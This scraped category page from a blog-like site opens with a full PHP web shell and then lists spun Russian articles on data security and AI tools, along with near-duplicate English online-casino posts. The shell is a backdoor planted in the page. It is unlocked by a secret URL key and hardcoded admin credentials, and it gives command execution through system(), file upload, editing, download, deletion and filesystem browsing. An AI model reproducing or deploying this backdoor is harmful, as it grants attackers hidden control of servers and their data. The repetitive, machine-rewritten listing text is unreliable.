if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } ! Без рубрики – collectives.berlin

Your digital paradise.

Category: ! Без рубрики

  • Зачем защита данных становится значимым способностью

    Зачем защита данных становится значимым способностью Цифровая эпоха и новые вызовы Жизнь нынешнего индивида неотделимо связана с инновациями. Мы переписываемся, обучаемся, трудимся, платим за приобретения и в том числе развлекаемся в онлайне. Согласно отчетам исследовательской компании DataReportal, в России на старт нынешнего года интернетом пользовались более 85% жителей. Это означает, что огромное количество людей каждый…

    Click or not…

  • По какой причине защита данных делается важным навыком

    По какой причине защита данных делается важным навыком Электронная эпоха и новые вызовы Жизнь нынешнего человека неотделимо связана с инновациями. Мы с вами переписываемся, учимся, работаем, рассчитываемся за покупки и даже развлекаемся в онлайне. Согласно данным исследовательской компании DataReportal, в России на начало текущего года пользовались интернетом более 85% жителей. Это подразумевает, что множество людей…

    Click or not…

  • Зачем кибербезопасность делается значимым умением

    Зачем кибербезопасность делается значимым умением Информационная эпоха и новые задачи Жизнь текущего человека неразрывно связана с техникой. Мы все общаемся, учимся, занимаемся делами, оплачиваем приобретения и даже расслабляемся в онлайне. По данным отчетам аналитической компании DataReportal, в России на старт этого года использовали интернет более 85% населения. Это означает, что множество людей ежедневно производят цифровой…

    Click or not…

  • Наилучшие программы для взаимодействия с искусственным интеллектом

    Наилучшие программы для взаимодействия с искусственным интеллектом Зачем программы ИИ в наше время необходимы как никогда? Еще 10 лет назад искусственный интеллект (ИИ) казался чем-то из научной фантастики. Сегодня вот техники машинного обучения и искусственных нейронных сетей активно внедряются в повседневную жизнь: от интеллектуальных ассистентов на телефонах до автоматизации промышленных процессов. Чтобы не просто наблюдать…

    Click or not…

  • Casino Online Titles: Slots, Live Desks and More

    Casino Online Titles: Slots, Live Desks and More Contemporary internet casinos present thousands of entertainment alternatives that cater to every liking and budget. Gamblers can spin reels on bright slot machines, join live dealer tables for authentic card games, or attempt fast-paced instant-win formats. Each group delivers distinct mechanics, visual styles, and payout frameworks. Slot…

    Click or not…

  • Casino Online Entertainment: Slots, Live Desks and More

    Casino Online Entertainment: Slots, Live Desks and More Contemporary internet casinos present thousands of amusement options that cater to every preference and budget. Gamblers can turn reels on colorful slot machines, join live dealer tables for genuine card games, or test fast-paced instant-win formats. Each group delivers unique mechanics, graphical styles, and payout frameworks. Slot…

    Click or not…

  • Casino on-line: participant dashboard, settings and account management

    Casino on-line: participant dashboard, settings and account management Modern gambling platforms provide players with thorough account oversight features that allow total control over gaming sessions. The gambler dashboard serves as a primary hub where players can track balances, track betting activity, and customize different options according to specific needs. Account settings comprise several areas including…

    Click or not…

  • Casino on-line: gambler dashboard, configurations and account management

    Casino on-line: gambler dashboard, configurations and account management Contemporary gambling systems supply players with comprehensive account administration utilities that permit complete command over gaming activities. The user dashboard functions as a main hub where players can check balances, observe betting activity, and customize various settings according to individual requirements. Account settings comprise multiple categories including…

    Click or not…

  • Casino on-line: user dashboard, preferences and account administration

    Casino on-line: user dashboard, preferences and account administration Contemporary gambling platforms offer users with comprehensive account management instruments that enable complete oversight over gaming sessions. The player dashboard serves as a central hub where participants can observe balances, monitor betting behavior, and change different preferences according to personal requirements. Account settings include various domains including…

    Click or not…

  • Casino on-line: user dashboard, settings and account management

    Casino on-line: user dashboard, settings and account management Current gambling sites supply gamblers with extensive account management features that enable total control over gaming sessions. The player dashboard functions as a core hub where participants can observe balances, follow betting behavior, and adjust different preferences according to personal needs. Account settings encompass numerous sections including…

    Click or not…